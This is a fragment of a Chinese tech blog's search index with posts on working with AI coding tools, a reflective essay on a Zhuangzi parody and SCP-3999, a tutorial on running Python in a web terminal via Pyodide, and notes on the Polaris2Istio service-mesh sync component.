","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:2:3","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"如何与 AI 共处：三条行动建议 想清楚这几点，就能更好地把握如何做好 AI 编程了。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:3:0","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"1. 做好与 AI 的有效沟通 即便你有丰富的项目背景，也要意识到 AI 与人的差异，选择它更容易理解的方式交流。 首先，将需求拆解到足够细的颗粒度。前面登录模块的例子已经说明了这一点：模糊的一句话 vs 结构化的五条需求，产出质量不在一个量级。实际操作中我的习惯是：先花 5 分钟把需求写成一份不超过半页的需求清单，再喂给 AI。这 5 分钟的投资回报率高得惊人——它不是多费了工夫，而是省掉了后续反复沟通和修 bug 的时间。 其次，善用 Markdown 做结构化输入。段落标题、编号列表、代码块——这些格式能帮 AI 精准定位意图。很多人觉得这是在\"伺候\"AI，但换个角度看，这和写好的 commit message、画清晰的架构图是同一件事：把想法对齐成可执行的指令。这项能力，在项目管理、跨团队协作中同样通用。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:3:1","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"2. 将重心转移到创意上 一个精准的问题、一个有价值的方向，才是你不可替代的核心价值。 当 AI 承担了越来越多的\"实现\"工作，人类的优势便愈发体现在\"定义\"上。什么叫\"定义\"？不是\"帮我写个购物车\"，而是想清楚：这个购物车的库存校验是在加购时做还是结算时做？优惠券的互斥规则怎么设计？并发减库存用乐观锁还是 Redis 队列？这些问题没有一个标准答案，它们的取舍取决于业务场景、团队能力、时间成本，而这不是 AI 能替你判断的事。 过去被认为更\"能写\"的那部分生产力，正在被 AI 快速接手；而资深程序员在\"定义\"问题上的经验优势，反而因此被放大了。因为定义问题靠的是判断力，判断力来自踩过的坑，而 AI 目前还没学会踩坑。 这有点像改革开放时的工厂：靠手艺吃饭的国企工人被流水线替代了——标准化、可复制、不再依赖个人经验。但流水线没有消灭工厂，反而让更多没有手艺的农民工进了城。AI 编程同理：手写代码的\"手艺溢价\"在跌，但定义问题、拆解需求、做判断的能力反而供不应求。 这个趋势不只存在于编程领域。AI 拉低了所有创作门类的技术门槛，正在催生一场\"文艺大爆发\"：普通人用即梦生成华强买瓜、雪山救狐、天庭三反骨大闹寂静岭，网文作者靠 AI 辅助把质量下限拉到了一个前所未有的高度。创意来自普通人，AI 负责把创意变成能看、能读的东西。 代码也是同样的逻辑。DeepSeek-TUI 的作者 Hunter Bown 原本是个音乐家：北得克萨斯州大学音乐教育本科，毕业后当了三年乐队指挥，后来又读了 MBA 和专利法，编程完全是半路出家、自学成才。他的曾祖父 Ralph Bown Sr. 是贝尔实验室的研发副总裁、无线电先驱，而他给自己的总结是：“他是科学家，爱音乐；我是音乐家，爱科学。“他用 AI 辅助做出了 GitHub 近 5000 star 的终端编程 Agent，还在 2026 年五一用 DeepSeek 润色了一篇中文帖子向中国开发者喊话——“鲸鱼兄弟们好，我是做 DeepSeek-TUI 的那个美国佬”——帖子获得 37.5 万浏览，整个中国技术圈被一个美国人用地道的中文逗乐了。AI 没有取代他的创造力，反而让他一次性跨过了\"不会写代码\"和\"不会说中文\"两重技术悬崖。 Hunter Bown 的 DeepSeek-TUI 项目 朱时茂最近谈过一个观点：AI 永远竞争不过演员的表演，因为演员的表演是真实的，AI 的表情是做出来的。他曾在春节用 AI 数字分身拜年，自己都感叹\"太像了，也太不像话了”，但他也清醒地指出——“数字人能复刻我的五官，却复刻不了我演《牧马人》时对苦难的共情。“他说的是表演，但编程何尝不是？AI 生成的代码，语法正确、逻辑通顺，但它缺少一种\"灵魂”——它总要从训练数据里找一个模板来套，而这个模板未必是最适合你当前场景的。因为 AI 没有在凌晨三点被报警电话叫醒的经历，没有和产品经理为\"这个边界条件到底算不算 bug\"争论过三个来回，也没有在重构后发现性能反而下降的那种懊恼。这些真实体验，才是你定义问题时做出正确取舍的直觉来源。 所以，不要担心 AI 会让你失业。你该担心的，是你是否停留在\"只会写代码\"的层面。往上走，去做定义问题的人。 五年后，决定一个产品成败的，不再是团队里谁代码写得最好，而是谁对问题理解得最深——因为所有人都能写代码了。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:3:2","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"3. 坚持理解 这一点并非我的原创，而是来自 NGINX 核心团队成员洪志道的分享。他在一篇关于\"2026 还需要继续坚持手搓代码吗\"的回答中，讲了一个让我印象极深的故事——物理学家费曼小时候的经历： 我小时候，有个孩子指着一只鸟问我：“你知道这是什么鸟吗？“我说不知道。他说：“这是棕喉画眉。你爸爸什么都没教你吧？” 其实不是。我爸爸会指着一只鸟对我说：“看到那只鸟了吗？它叫斯宾塞莺——不过这个名字是我随口编的。就算你知道它在全世界所有语言里的叫法，你对这只鸟本身还是一无所知。你知道的，只是不同地方的人怎么称呼它。” 接着他说：“现在，我们来真正看看这只鸟。“他让我观察它怎么啄食，为什么总是梳理羽毛，飞起来的时候翅膀又是怎么动的。这些，才是真正关于这只鸟的知识。 这件事我记了一辈子：知道一个东西的名字，和真正理解它，是两回事。 我认为，坚持理解是承担责任的基石——你必须清楚 AI 生成的东西究竟在做什么。无论你是通过代码审查进行白盒验证，还是只做黑盒测试，都应如此。 我依然提倡有空读一读生成的代码。比如前面提到的 Prompt Caching 客户端，AI 写的代码虽然几个关键逻辑是错的，但它在错误重试策略上的实现方式反而给了我启发——它用了指数退避+抖动（jitter）的方案，比我原来手写的固定间隔重试更健壮。读代码既能规避潜在问题，又能学习你不熟悉的模式，这反过来又会提升你提需求的精准度与发现问题的敏感度。尤其在基础项目中，稳定性要求高，能参考的外部资料又远比 CRUD 类应用少，更要坚持检查。 有些人觉得有了 AI 技术就不再重要，我不是很认同。回到前面 unpkg CDN 的例子：AI 给的方案来自它能搜到的\"常见做法”，但它搜不到的是国内用户的网络拓扑真实情况。这类判断，靠的不是查文档，而是多年踩坑积累下来的技术常识。越是基础的东西，AI 越难从表面文档里学到精髓，人类工程师的深度理解反而越有价值。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:3:3","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"活反而更多了？ 用了 AI 编程以后，老实说，活不仅没少，反而更多了。 以前我写一个功能，流程是：理解需求 → 查资料 → 写代码 → 自测 → 提 PR。现在变成了：理解需求 → 梳理成一页需求清单 → 与 AI 多轮对话迭代方案 → 审查 AI 生成的代码（包括检查边界、性能、安全性）→ 补写 AI 漏掉的测试用例（边界条件它基本覆盖不全）→ 验证 → 提 PR。每一步拆开来看都有价值，但加起来，花的时间未必比手写更少。 区别在于：同样花 4 个小时，以前的产出是\"一段功能代码”，现在的产出是\"一段功能代码 + 一份规格说明 + 一组测试用例 + 一份代码审查记录”。工作密度的提升远比效率的提升更明显。 以前4 小时 → 1 项产出理解需求自己琢磨查资料Google / 文档写代码手写实现自测跑一下 OK提 PR完事，产出 = 一段功能代码现在4 小时 → 4 项产出（工作密度提升）理解需求梳理清单AI 对话多轮迭代审查代码边界 · 安全补测试边界用例验证端到端提 PR附规格 + 测试功能代码+规格说明+测试用例+代码审查记录时间不变，产出翻四倍——你顺手把 PM + 测试的活全干了这就是新时代的\"全栈” 实际上，我顺手把产品经理、项目协调人、测试、前后端的活儿全干了。 这大概是新时代的\"全栈\"吧。 回看开头提到的那种恐惧——被替代的恐惧——现在反而释然了。AI 确实越来越强，但它强在\"做”，不在\"判”。它能把一件事做得又快又好，但它不能替你决定该做什么、为什么要做。它不能替你为线上事故负责，也不能替你在凌晨三点感受到用户骂声背后的真实痛点。这些缺口，恰好就是人的位置。 所以，不必恐惧 AI 变强。该担心的，是你除了\"会写代码\"之外，什么都给不了。 下次用 AI 写代码之前，先花 3 分钟把需求写成一页需求清单。试试看，一周之后你会发现——不是 AI 变强了，是你变强了。 本文是「AI杂谈」系列之一。下一篇：AI 不会问第一个问题 —— 自驱力与创新，为什么人的护城河不在\"做\"而在\"问\"。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:4:0","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Title-tattle"],"content":"最近看了一些书籍和视频，有了一些新的感悟，于是就把同类主题记录了下来整理成文。 ","date":"2023-11-05","objectID":"/posts/2023/11/05/life-and-world/:0:0","tags":["title-tattle"],"title":"路过人间","uri":"/posts/2023/11/05/life-and-world/"},{"categories":["Title-tattle"],"content":"朝菌蟪蛄 导语 “朝菌不知晦朔，蟪蛄不知春秋”出自庄子的《逍遥游》，本意是与“绝云气，负青天”的大鹏对比，体现了由于物种特性导致的认知局限性。 最近在B站看了个视频叫《都什么年代，谁还打传统白骨精？！！》，看标题就知道和原来《西游记》三打白骨精的故事是不一样的，属于新编故事。 故事大概流程如下： 师徒四人路过一个无人村庄后进入了一个树林，就在大家讨论哪里找吃的时候，突然发现唐僧不见了。 唐僧被困在树林里，然后被一白衣女子带到了村庄里，但却失去了记忆，只是会叫白衣女子小白。 于是村民们都调侃说或许两人有什么特别的缘分。 为了让唐僧尽快恢复记忆，小白使用催眠术，但依然没什么效果。 最后小白无奈地说要不送他到森林里的朝菌蟪蛄据点待一段时间。 就在这个时候，唐僧说记得逍遥游里提到过朝菌是一种生命极其短暂的植物（严格来讲是真菌），而蟪蛄是一种生命极其短暂的昆虫。 小白听罢认为唐僧学识渊博，不如也来当老师吧~ 原来小白他们作为朝菌蟪蛄种族，因为早上出生晚上就会死亡，所有成员都有当老师传承知识的义务。 相应地他们也有着相当于人类几万倍的运动和思考能力。 这时唐僧想起了自己是人类。 但是为了能将知识带给朝菌蟪蛄种族，决定留下来当五年老师。 转眼五年过去了，虽有不舍,但是小白还是决定履行承诺带他见老族长来让他回归人类社会。 老族长长得像个小女孩，因为她曾经服过人参果。 老族长发现唐僧和先祖长得一模一样。先祖其实就是金蝉子，蟪蛄又名“知了”。 老族长告诉他是被蟪蛄感染导致的思维暴走，给了他一本冰心诀，修炼后可放缓思维直至和人类相近。 但修练完成需要五年时间。同时小白也想起了原来是她咬了他一口感染上的。 在这五年里，小白帮助唐僧修炼冰心诀，唐僧同时还把毕生所学抄录成了书籍典藏。 唐僧决定回去报个平安，之后回来继续建设村落。 老族长给了他们一枚红色药丸、一枚绿色药丸和一枚蓝色药丸，分别来用思维减速、清除感染和恢复记忆。（前面的两个负作用失去这几年的记忆，蓝色药丸可以恢复这几年记忆） 最后唐僧回到了人类社会，继续师徒四人西天取经。小白并没有给唐僧蓝色药丸，但别忘记了小白咬的可是长生不老的唐僧肉。 虽然整个视频是改编搞笑的，但我觉得内容其实非常有深度，是另一个版本的庄周梦蝶、南柯一梦，结合了哲学、科幻和奇幻元素，加速思维让人以为过了一辈子，现实里却只是做了一个梦。也让我看到即便蝼蚁，也有它的生存之道，也有活着的意义，只是从人类的角度来看看不懂罢了。 更让我想起身患癌症生前依然在为喜爱的《深海迷航》游戏作中文翻译的“吃喝不愁的live”，正所谓“人生的长度不在于时间，而在于如何度过 ”，亦如《三体》中所言：给岁月以文明，而不是给文明以岁月。 ","date":"2023-11-05","objectID":"/posts/2023/11/05/life-and-world/:0:1","tags":["title-tattle"],"title":"路过人间","uri":"/posts/2023/11/05/life-and-world/"},{"categories":["Title-tattle"],"content":"我于万物之中 导语 让咱们走吧，就你还有我 当十一日帝国正将天空吞没 宛如人形溶烂得像蛤蜊摆上早餐桌 SCP-3999是我在SCP1里最喜欢的一篇。具体文档可以点击链接或者查看下方视频，以下是该收容物的部分描述： SCP-3999 项目编号：SCP-3999 项目等级：Apollyon 特殊收容措施：SCP-3999当前无法被收容，并且正在促成ZK级现实终结场景。最为可行的方案是令被认为是SCP-3999焦点的研究员塔罗兰与一切基金会站点及人员自我断绝联系，以避免对基金会资产造成进一步的附带损害。理论上讲，研究员塔罗兰若被收容至极度偏僻的区域，SCP-3999的破坏能力将会暂时消失 … 更多档案内容请点击SCP-3999 档案描述的是研究员塔罗兰与不断扭曲现实的SCP-3999对抗并将其收容。档案中混乱无序的内容，都是被SCP-3999不断扭曲并被塔罗兰不断修正的现实。研究员塔罗兰就这样在现实扭曲中与SCP-3999对抗了三个百万年，最后否决自身，与SCP-3999一同被杀死，最终无效化该异常。 SCP-3999具有现实扭曲能力（也有人说是至高神性），可以简单理解为言出法随，即它所说所想都是真的，所以这篇文档里的所有内容都是在基金会世界实际发生过的。 这篇文档可以简单理解为，两个孩子共同写了一篇故事，因为意见产生了分歧，两个人互相抢夺笔来书写故事，所以很多地方会前后矛盾。如果你看过《诡秘之主》，可能已经留意到这个笔有点类似封印物0-08，一个叫阿勒苏霍德之笔的羽毛笔。根据查询相关资料显示，0-08的羽毛笔作为噩梦之龙死后特性凝聚而成封印物，虽然外形只是一只羽毛笔，但却有言出法随的特效，书写的故事都会变成现实。当你知道了它，它也就知道了你，你对它了解越多，越可能被写入它编织的故事。 SCP-3999不知为何与研究院塔罗兰共用一具肉体，但是却无法控制精神，所以SCP-3999为了击溃塔罗兰的精神，不断制造匪夷所思的收容方式折磨塔罗兰，包括但不限于屠杀，折磨他本人以及他的心爱之人，从而达到完全掌控肉体的目的。也有人说SCP-3999应该是一种至高神性，它在突破收容时因某种原因附身在了塔罗兰身上，此时它成为塔罗兰的一种“人格”，虽然它依然拥有扭曲整个宇宙的能力，但塔罗兰原人格就成为了一个bug，它无法完全扭曲他。 而前一百万年过后，SCP-3999意识到了自己无法通过击溃塔罗兰的精神来获得肉体的全部控制权，而塔罗兰发现，自己也可以使用SCP-3999的现实扭曲能力，两个人的博弈就此开始。SCP-3999致力于将自己变得无敌（无法被收容，不朽），但是每次都会被塔罗兰通过续写的方式使其影响变小甚至让这些被添加的性质失效。而塔罗兰则想通过定义SCP-3999来将其彻底收容（包括但不限于将SCP-3999描写为某些物品，编辑较为简单的收容方式等），但以上尝试均告无效。 最终，塔罗兰选择消灭自己的肉体，同时葬送自己与SCP-3999。 作者Lord Stonefish表示：唯一一个有人读的文档。他们可能会把它写在我的墓碑上。 但我这里还是要给出他的另一篇有人读的文章，那就是关于塔罗兰最后为了爱的人如何溺死的《威廉佩恩迭代》。 其实塔罗兰的叙事层是这篇文档的作者，SCP-3999的叙事层是作者的精神疾病（抑郁症），塔罗兰与SCP-3999长达三个百万年的抗争，其实可以理解为作者在与自己的精神疾病抗争，文档中混乱的文字就是SCP-3999扭曲现实，塔罗兰修改现实的产物，最后塔罗兰自杀，SCP-3999消失，作者的精神疾病也治好了，可歌可泣。 ","date":"2023-11-05","objectID":"/posts/2023/11/05/life-and-world/:0:2","tags":["title-tattle"],"title":"路过人间","uri":"/posts/2023/11/05/life-and-world/"},{"categories":["Title-tattle"],"content":"结语 其实类似题材的内容之前也读过不少，但一直没有这么深的感悟。《朝菌蟪蛄》和《我于万物之中》虽有差别，但都有着物我两忘2，以至于超脱现实，进而最终找寻到自我的过程。 里面的时间是短暂还是漫长，是快乐还是折磨，全凭自我认知。不管是庄周梦蝶似的浪漫幻想，还是塔罗兰我于万物之中的精神折磨，最重要的还是坚持本心，找到自己的价值所在，修炼自身，从而冲破牢笼，过上正常而有意义的生活，迎来光明的未来。 肖申克的救赎 任何一个你不喜欢又离不开的地方，任何一种你不喜欢又摆脱不了的生活，就是监狱。如果你感到痛苦和不自由，希望你心里永远有一团不会熄灭的火焰，不要麻木，不要被同化，拼命成为一个有力量破釜沉舟的人。 SCP是\"特殊收容措施(Special Containment Procedures)“的一个首字母缩写，在现实中作为\"SCP项目或实体\"的非正式短语，以指代《SCP基金会》中的项目或收容物。 ↩︎ 物我两忘是一个汉语成语，与诗学有关的古代美学概念，指创作时艺术家的主体与创作对象的客体浑然为一而兼忘的境界，语见沈约《郊居赋》云：“惟至人之非己，固物我而兼忘。”其意源于《庄子》，《齐物论》云：“昔者庄周梦为胡蝶，栩栩然胡蝶也，自喻适志与，不知周也。俄然觉，则遽遽然周也。不知周之梦为胡蝶与，胡蝶之梦为周与？”这是一种物我不分，亦即物我两忘的境界。 ↩︎ ","date":"2023-11-05","objectID":"/posts/2023/11/05/life-and-world/:0:3","tags":["title-tattle"],"title":"路过人间","uri":"/posts/2023/11/05/life-and-world/"},{"categories":["Tech"],"content":"细心的朋友可能已经发现我在首页终端上加上了Now you can use the Python directly in this console!这句话，是的，现在python命令已经加入了首页终端中！目前已支持基本库，未来看实际写作需要是否增加其它库的支持，可能会用来做一些分析图形变换显示什么的。 ","date":"2023-04-07","objectID":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/:0:0","tags":["tech","xterm.js","python","pyodide","wasm"],"title":"如何在页面上跑一个Python终端？","uri":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/"},{"categories":["Tech"],"content":"背景 之前我在博客里分享过如何使用asciinema来录制终端操作过程并在页面上很轻量级地演示，但是有些例子光看演示还不够，可能还需要实机操作，那么就回到了今天的主题：如何在页面上跑一个python终端（或者任意语言的实操环境）？ ","date":"2023-04-07","objectID":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/:0:1","tags":["tech","xterm.js","python","pyodide","wasm"],"title":"如何在页面上跑一个Python终端？","uri":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/"},{"categories":["Tech"],"content":"方案 经过一段时间搜集和分析，发现有以下几种方式： python.org官网的用的方式是通过websocket向在线服务pythonanywhere的远程服务器通讯得到结果的； 菜鸟教程网站和廖雪峰网站里的python教程也都是采用的类似方法，只不过有区别的是直接通过http请求将代码发送到服务器来实现的； katacoda被薅closed了就不提了，其实也是远程服务。 另外，根据原来做过的项目来看，xterm.js也确实能通过websocket连接到docker容器； 但我们注意到他们都有个通病，就是要依赖远程服务，这对于“静态”博客来讲可太不友好了，而且还要保证沙盒的安全。 那有没有不依赖远程服务的方式呢？ 答案是：有！ 比较容易想到的一种方案是在网页上调用起浏览者本机的python，这里就要用到微软开源的node-pty了，具体可以参考它的例子来实现。但是这有个明显的缺点，就是要浏览者事先准备好环境。 那有没有不依赖浏览者环境的方式呢？ 答案依然是：有！ 盘点最近几的技术潮流，我们可以注意到一项技术，那就是webassembly(简称wasm)，完全可以用wasm在页面上跑python代码嘛，还记得之前大火的在web页面执行python代码的项目pyscript吗？它就是基于wasm的接口项目pyodide实现的。 使用也很简单，调用pyodide.runPython就行： \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003cmeta charset=\"UTF-8\"\u003e \u003ctitle\u003ePyodide in xterm.js\u003c/title\u003e \u003clink rel=\"stylesheet\" href=\"https://unpkg.com/xterm/css/xterm.css\" /\u003e \u003cscript src=\"https://unpkg.com/xterm@5.1.0/lib/xterm.js\"\u003e\u003c/script\u003e \u003cscript src=\"https://cdn.jsdelivr.net/pyodide/v0.23.0/full/pyodide.js\"\u003e\u003c/script\u003e \u003cstyle\u003e #terminal { display: flex; } \u003c/style\u003e \u003c/head\u003e \u003cbody\u003e \u003cdiv id=\"terminal\"\u003e\u003c/div\u003e \u003cscript\u003e const ENTER = '\\r'; const DEL = '\\u007F'; const VK_UP = '\\x1b[A'; const VK_DOWN = '\\x1b[B'; const VK_RIGHT = '\\x1b[C'; const VK_LEFT = '\\x1b[D'; var pyodide = null; var pythonCodeX = 0; var pythonCodeY = 0; var historyCodeList = []; var lastPythonCodeLine = \"\"; var renderingCode = false; var stdout_codes = []; function rawstdout(code) { stdout_codes.push(code); } var term = new Terminal(); term.open(document.getElementById('terminal')); async function startPyodide() { term.write('Starting Python...'); pyodide = await loadPyodide(); await pyodide.loadPackage(\"pygments\") pyodide.runPythonAsync(` import sys from pygments import highlight from pygments.lexers import PythonLexer from pygments.formatters import TerminalTrueColorFormatter sys.version + ' (https://whitefirer.org)' `).then(output =\u003e { term.write('\\rPython ' + output + '\\r\\n'); term.prompt(); }); pyodide.setStdout({ raw: rawstdout, isatty: true }); } term.prompt = () =\u003e { term.write('\\r\\x1b[01;32m\u003e\u003e\u003e '); }; var pythonCode = ''; var blockFlag = \"\"; var blockMap = { \":\": \"\\r\", \"\\\\\": \"\\r\", \"{\": \"}\", \"[\": \"]\", \"(\": \")\", } var historyIndex = 0; var historyCode = \"\"; var lastCRIndex = 0; function setCursorPosition(x, y) { term.write(`\\x1b[${y};${x}H`) } async function writeHightPythonCode(x, y, pythonCode) { // term.write(e); setCursorPosition(x, y); await pyodide.runPythonAsync(` _PY_code = \"\"\" ${pythonCode.replaceAll(\"\\\\\", \"\\\\\\\\\")} \"\"\" _PY_highlighted_code = highlight(_PY_code, PythonLexer(), TerminalTrueColorFormatter(style='native')); _PY_highlighted_code[:-1] `).then(output =\u003e { term.write(output.replaceAll('\\n', '\\r\\n... ')); }); } function earseCureentLinePythonCode() { if (pythonCodeY === (term.buffer._normal.cursorY + term.buffer._normal.baseY + 1)) { term.write('\\r\\x1b[2K\\x1b[01;32m\u003e\u003e\u003e '); } else if (term.buffer._normal.cursorX \u003e 4) { term.write('\\r\\x1b[2K... '); } else { term.write('\\r\\x1b[2K'); } } term.onData(e =\u003e { const printable = !e.altKey \u0026\u0026 !e.ctrlKey \u0026\u0026 !e.metaKey; switch (e) { case VK_LEFT: if (term.buffer._normal.cursorX \u003e 4) { setCursorPosition(term.buffer._normal.cursorX, term.buffer._normal.cursorY + 1); } break; case VK_RIGHT: lastCRIndex = pythonCode.lastIndexOf('\\r'); lastPythonCodeLine = pythonCode.substring(lastCRIndex + 1, pythonCode.length + 1); if (term.buffer._normal.cursorX \u003c (lastPythonCodeLine.length % term.cols + 4)) { setCursorPosition(term.buffer._normal.cursorX + 2, term.buffer._normal.cursorY + 1); } break; case VK_UP: if (historyCodeList.length === 0) { break; } if (pythonCode.length === 0) { pythonCodeX = term.buffer._normal.cursorX + 1; pythonCodeY = term.buffer._normal.cursorY + term.buffer._normal.baseY + 1; } historyCode = \"\"; historyIndex += 1; if (historyIndex \u003e (historyCodeList.length + 1)) { historyIndex = historyCodeList.length + 1; } else if (historyIndex != (historyCodeList.length + 1)) { historyCode = historyCodeList[historyCodeList.length - historyIndex] } earseCureentLinePythonCode(); lastCRIndex = pythonCode.lastIndexOf('\\r'); pythonC","date":"2023-04-07","objectID":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/:0:2","tags":["tech","xterm.js","python","pyodide","wasm"],"title":"如何在页面上跑一个Python终端？","uri":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/"},{"categories":["Tech"],"content":"效果 效果如下，试试在里面敲你熟悉的python代码吧~： ","date":"2023-04-07","objectID":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/:0:3","tags":["tech","xterm.js","python","pyodide","wasm"],"title":"如何在页面上跑一个Python终端？","uri":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/"},{"categories":["Tech"],"content":"总结 目前看这个基于wasm技术的方案依赖比较少，但其它方案也不是一无是处，一些复杂环境用远程方案可能更有优势。下次我们再细说wasm和衍生出来的一些技术。 ","date":"2023-04-07","objectID":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/:0:4","tags":["tech","xterm.js","python","pyodide","wasm"],"title":"如何在页面上跑一个Python终端？","uri":"/posts/2023/04/07/how-to-run-python-in-the-web-terminal/"},{"categories":["Tech"],"content":"背景 如融合、扩展Service Mesh文中所述，为了让第三方服务发现的服务能够接入到Istio服务网格当中，我设计开放一个名为Polaris2Istio的组件。 ","date":"2022-08-30","objectID":"/posts/2022/08/30/polaris2istio/:0:1","tags":["tech","cloud native","service mesh","istio"],"title":"Polaris2Istio的实现和说明","uri":"/posts/2022/08/30/polaris2istio/"},{"categories":["Tech"],"content":"设计图 ","date":"2022-08-30","objectID":"/posts/2022/08/30/polaris2istio/:0:2","tags":["tech","cloud native","service mesh","istio"],"title":"Polaris2Istio的实现和说明","uri":"/posts/2022/08/30/polaris2istio/"},{"categories":["Tech"],"content":"时序图 sequenceDiagram actor Operator participant Polaris2Istio participant Polaris participant ApiServer participant CoreDNS Operator-\u003e\u003eApiServer: Create the ServiceEntry for the polairs' service with manager labels. ApiServer-\u003e\u003eCoreDNS: Create the CNAME record. Operator-\u003e\u003ePolaris2Istio: Config the manage policy. loop Watch ApiServer Polaris2Istio-\u003e\u003eApiServer: Get the matched services for manager. ApiServer--\u003e\u003ePolaris2Istio: Back the services. Polaris2Istio-\u003e\u003eApiServer: Update the services' configuration(Instances' ip). end loop Watch polaris Polaris2Istio-\u003e\u003ePolaris: Watch the polaris service's event. Polaris--\u003e\u003ePolaris2Istio: Send the event to the polaris2sitio. Polaris2Istio-\u003e\u003eApiServer: Sync the polaris service's message to the k8s service. end ","date":"2022-08-30","objectID":"/posts/2022/08/30/polaris2istio/:0:3","tags":["tech","cloud native","service mesh","istio"],"title":"Polaris2Istio的实现和说明","uri":"/posts/2022/08/30/polaris2istio/"},{"categories":["Tech"],"content":"使用方式 编译 make build 运行 polaris2istio --polarisAddress \u003cpolarishost:port\u003e 配置 模式 1. 基于ServiceEntry的管理标签筛选同步Polaris实例: apiVersion: networking.istio.io/v1alpha3 kind: ServiceEntry metadata: name: \u003cpolaris-name-for-k8s\u003e namespace: polaris annotations: aeraki.net/polarisNamespace: Test aeraki.net/polarisService: test-service aeraki.net/external: \"false\" labels: manager: aeraki registry: polaris spec: hosts: - dev.\u003cpolaris-name-for-k8s\u003e.polaris resolution: NONE # or STATIC 详细说明请参考：https://github.com/aeraki-mesh/polaris2istio ","date":"2022-08-30","objectID":"/posts/2022/08/30/polaris2istio/:0:4","tags":["tech","cloud native","service mesh","istio"],"title":"Polaris2Istio的实现和说明","uri":"/posts/2022/08/30/polaris2istio/"},{"categories":["Tech"],"content":"心得技巧 保持分配好的VIP // polaris2istio/pkg/serviceregistry/polaris/watcher/provider.go func (w *ProviderWatcher) syncPolarisServices2Istio(polarisInfo *model.PolarisInfo) { klog.Infof(\"[syncPolarisServices2Istio] polarisInfo: %v\", polarisInfo) rsp, err := w.polarisclient.GetPolarisAllInstances(polarisInfo.PolarisNamespace, polarisInfo.PolarisService) if err != nil { klog.Errorf(\"[syncPolarisServices2Istio] query polaris services' instances failed, err: %v\", err.Error()) return } newServiceEntry, newAnnotations := model.ConvertServiceEntry(rsp, polarisInfo) if newServiceEntry == nil { klog.Errorf(\"convertServiceEntry failed?\") return } oldServiceEntry, err := w.ic.NetworkingV1alpha3().ServiceEntries(w.configRootNS).Get(context.TODO(), model.CovertServiceName(polarisInfo.PolarisNamespace, polarisInfo.PolarisService), v1.GetOptions{}) if err != nil { klog.Infof(\"[syncPolarisServices2Istio] get old service entries failed, error: %v\", err) return } newServiceEntry.Addresses = append(newServiceEntry.Addresses, oldServiceEntry.Spec.GetAddresses()...) if revision, exists := oldServiceEntry.GetAnnotations()[\"aeraki.net/revision\"]; !exists || newAnnotations[\"aeraki.net/revision\"] != revision { klog.Infof(\"[syncPolarisServices2Istio] update serviceentry: %v\", newServiceEntry) _, err = w.ic.NetworkingV1alpha3().ServiceEntries(oldServiceEntry.Namespace).Update(context.TODO(), w.toServiceEntryCRD(model.CovertServiceName(polarisInfo.PolarisNamespace, polarisInfo.PolarisService), newServiceEntry, oldServiceEntry, newAnnotations), v1.UpdateOptions{FieldManager: aerakiFieldManager}) if err != nil { klog.Errorf(\"failed to update ServiceEntry: %s\", err.Error()) } } else { log.Infof(\"[syncPolarisServices2Istio] serviceentry unchanged: %v\", oldServiceEntry.GetName()) } } 代码 ","date":"2022-08-30","objectID":"/posts/2022/08/30/polaris2istio/:0:5","tags":["tech","cloud native","service mesh","istio"],"title":"Polaris2Istio的实现和说明","uri":"/posts/2022/08/30/polaris2istio/"},{"categories":["Tech"],"content":"注意事项 只对polaris命名空间中的ServiceEntrys同步； 在集群中运行时需要为其配置权限策略； 开源版本的polaris sdk是需要手动设置polaris地址的，与内部版不同； ","date":"2022-08-30","objectID":"/posts/2022/08/30/polaris2istio/:0:6","tags":["tech","cloud native","service mesh","istio"],"title":"Polaris2Istio的实现和说明","uri":"/posts/2022/08/30/polaris2istio/"},{"categories":["Tech"],"content":" 导语 没有最完美的架构，只有最合适的架构。 ","date":"2022-08-29","objectID":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/:0:0","tags":["tech","cloud native","service mesh"],"title":"融合、扩展Service Mesh","uri":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/"},{"categories":["Tech"],"content":"背景 很多时候服务网格在业务难以落地，往往是因为有历史包袱或者特殊需求，反而没有新设计的项目接入服务网格容易，而原因多是以下几点： 难点 私有协议：这里泛指Istio官方未支持的协议，如果不能识别私有协议，也就无法对私有协议进行流量管理（如路由等）； 不能很好地平滑过渡掉原有的北极星或者Consul服务发现； 第三方服务发现：比如北极星服务发现得到的IP是实例IP，我们这边要想办法让流量走到ServiceIP上去，通过Virtual Service IP加端口来确定服务和协议，才能利用到边车来管理流量和解析自定义协议； ","date":"2022-08-29","objectID":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/:0:1","tags":["tech","cloud native","service mesh"],"title":"融合、扩展Service Mesh","uri":"/posts/2022/08/29/extension-and-expansion-of-service-mesh/"},{"categories":["Tech"],"content":"解决方案 私有协议 私有协议服务网格的解决方案大概有以下两种 协议转换 协议扩展 协议转换 协议转换顾名思议就是将协议转换成网格内支持的方案。 